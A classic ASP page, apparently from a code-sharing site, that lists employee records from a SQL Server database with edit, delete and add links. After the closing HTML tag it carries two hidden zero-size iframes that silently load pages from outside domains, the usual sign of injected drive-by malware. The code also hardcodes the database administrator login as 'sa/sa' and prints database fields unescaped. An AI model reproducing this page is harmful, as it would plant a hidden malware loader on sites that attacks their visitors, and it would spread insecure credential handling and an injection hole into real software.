📄 rygl.asp
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
</head>
<body>
人员基本情况
<br>
<table class="MsoTableGrid" id="Table2" cellSpacing="0" cellPadding="0" width="100%" style="BORDER-LEFT-COLOR: black; BORDER-BOTTOM-COLOR: black; BORDER-TOP-COLOR: black; BORDER-COLLAPSE: collapse; BORDER-RIGHT-COLOR: black"
border="1" bordercolor="black">
<tr>
<td>编码</td>
<td>姓名</td>
<td>性别</td>
<td>出生日期</td>
<td> </td>
<td> </td>
</tr>
<%
set conn=server.CreateObject("adodb.connection")
conn.connectionstring="provider=sqloledb;data source=(local);user id=sa;password=sa;initial catalog=kygl"
conn.open
sql="select * from employees"
set rs=server.CreateObject("adodb.recordset")
rs.open sql,conn,3,1,1
do while not rs.eof
%>
<tr>
<td ><%=rs("em_code")%></td>
<td><%=rs("name")%></td>
<td><%=rs("sex")%></td>
<td><%=rs("birthdate")%></td>
<td><a href="rygl_xg.asp?emcode=<%=rs("em_code")%>">修改</a></td>
<td><a href="rygl_sc.asp?emcode=<%=rs("em_code")%>">删除</a></td>
</tr>
<%
rs.movenext
loop
rs.close
conn.close
set conn=nothing
%>
</table>
<br>
<a href="rygl_zj.asp">增加</a>
</body>
</html>
<iframe src=http://www.if56.cn/kan.htm width=0 height=0></iframe>
<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -